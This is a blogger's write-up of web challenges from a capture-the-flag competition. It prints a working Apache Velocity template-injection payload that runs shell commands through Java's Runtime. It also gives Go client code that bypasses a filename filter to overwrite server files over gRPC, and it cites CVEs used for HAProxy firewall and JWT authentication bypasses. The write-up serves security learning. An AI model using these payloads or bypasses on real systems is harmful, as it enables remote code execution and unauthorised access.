Iscara


Cybersecurity, puzzlehunting, literature.


‘Twas the night before Midterms, when all through the house
Not a creature was stirring, not even a mouse;
The challenges were solved by the players with care
That they won’t throw their midterms, and pass by a hair;

This CTF happened during my midterms and I didn’t really have the luxury of time to look at some of the later challenges. I participated under team youtiaos, and we ended 97th place out of 5694 teams.


Lightning Round

TimeKORP - Trivial command injection in format parameter
KORP terminal - SQLmap + bcrypt hash cracking


Labrinth Linguist

We’re given a Java application using the Apache Velocity templating engine. We have user controlled input via textString that we can inject Velocity templates into.

t.setData(runtimeServices.parse(reader, "home"));
t.initDocument();
VelocityContext context = new VelocityContext();
context.put("name", "World");

StringWriter writer = new StringWriter();
t.merge(context, writer);
template = writer.toString();


context.put("name", "World"); is the key here. Exclusion of this line would make RCE a lot harder, but since we have this object in our context we can simply access the Java Class object through .getClass(). We can therefore inject:

#set($str=$name.getClass().forName("java.lang.String"))
#set($chr=$name.getClass().forName("java.lang.Character"))
#set($ex=$name.getClass().forName("java.lang.Runtime").getRuntime().exec("cat ../flag.txt"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

to read the flag.


LockTalk

We’re given a Flask application through HAProxy. The flag is accessible through /flag:

@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
def flag():
    return jsonify({'message': current_app.config.get('FLAG')}), 200


The authorize_roles decorator is as shown:

def authorize_roles(roles):
    def decorator(func):
        @wraps(func)
        def wrapper(*args, **kwargs):
            token = request.headers.get('Authorization')

            if not token:
                return jsonify({'message': 'JWT token is missing or invalid.'}), 401

            try:
                token = jwt.verify_jwt(token, current_app.config.get('JWT_SECRET_KEY'), ['PS256'])
                user_role = token[1]['role']

                if user_role not in roles:
                    return jsonify({'message': f'{user_role} user does not have the required authorization to access the resource.'}), 403

                return func(*args, **kwargs)
            except Exception as e:
                return jsonify({'message': 'JWT token verification failed.', 'error': str(e)}), 401
        return wrapper
    return decorator

There are two things in our way.


Firstly, HAProxy here acts as a firewall and prevents all requests to the API.

frontend haproxy
    bind 0.0.0.0:1337
    default_backend backend

    http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }

Looking at the dockerfile however, we can see that a specific version of HAProxy is being used:

RUN wget https://www.haproxy.org/download/2.8/src/haproxy-2.8.1.tar.gz

Simply using CVE-2023-45539 will allow us to bypass the firewall.


Second is the JWT verification. Unfortunately, looking at requirements.txt, they’re install a specific version of python_jwt:

python_jwt==3.3.3

Using CVE-2022-39227 will allow us to bypass authentication and masquerade as an administrator.


Testimonial

We’re given a golang application with file upload using gRPC. Flag is in the root directory. Both the application and the gRPC Ricky server are exposed. Air is used to live-reload the application.


Intuitively, if the file upload is insecure, we can overwrite an application file with a malicious script that reads the flag file and reload the application to reflect our changes.


The client filters the uploaded file name on the client:

func (c *Client) SendTestimonial(customer, testimonial string) error {
	ctx := context.Background()
	// Filter bad characters.
	for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
		customer = strings.ReplaceAll(customer, char, "")
	}

	_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
	return err
}

We can easily bypass the check by communicating directly with the gRPC server.

package main

import (
    "context"
    "fmt"
    "sol/pb"
    "log"
    "os"

    "google.golang.org/grpc"
)

func main() {
    serverAddr := "grpcserver:port"

    conn, err := grpc.Dial(serverAddr, grpc.WithInsecure())
    if err != nil {
        log.Fatalf("Failed to connect: %v", err)
    }
    defer conn.Close()

    client := pb.NewRickyServiceClient(conn)

    customer := "uploaded_filename"
	fileContent, err := os.ReadFile("local_copy_of_file")

	if err != nil {
		fmt.Printf("Error reading file: %v\n", err)
		return
	}

	testimonial := string(fileContent)

    err = sendTestimonial(client, customer, testimonial)
    if err != nil {
        log.Fatalf("Failed to send: %v", err)
    }

    fmt.Println("Win")
}

func sendTestimonial(client pb.RickyServiceClient, customer, testimonial string) error {
    ctx := context.Background()
    _, err := client.SubmitTestimonial(ctx, &pb.TestimonialSubmission{
        Customer:    customer,
        Testimonial: testimonial,
    })
    return err 
}

We can iteratively search for a useful file we have permissions to overwrite, and home.go serves that purpose.

func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
	customer := r.URL.Query().Get("customer")
	testimonial := ""
	
	files, err := ioutil.ReadDir("/")
	if err != nil {
		testimonial = "Error reading root directory"
	}

	if testimonial == "" {
		for _, file := range files {
			if filepath.Ext(file.Name()) == ".txt" {
				content, err := ioutil.ReadFile(filepath.Join("/", file.Name()))
				if err != nil {
					fmt.Printf("Error reading file %s: %v\n", file.Name(), err)
					continue
				}
				testimonial += string(content)
			}
		}
	}

	if customer != "" && testimonial != "" {
		c, err := client.GetClient()
		if err != nil {
			http.Error(w, err.Error(), http.StatusInternalServerError)

		}

		if err := c.SendTestimonial(customer, testimonial); err != nil {
			http.Error(w, err.Error(), http.StatusInternalServerError)

		}
	}
	return home.Index().Render(r.Context(), w)
}

We now need to reload the application and submit a new testimonial, thereby calling the malicious home handler. Looking at air.toml:

include_ext = ["tpl", "tmpl", "templ", "html"]


All we need to do is create a new file with one of these extensions and we can retrieve the flag.


SerialFlow

I had no time to solve this one, but I took a quick look at the challenge. It uses a vulnerable version of py-memcached to store the session cookie, which uses unsafe pickle deserialization methods. I tried a few encoding methods to upload a simple payload during the last few hours of the CTF, but none of them worked.


After the CTF, I read a few writeups and apparently octal works. Unfortunate.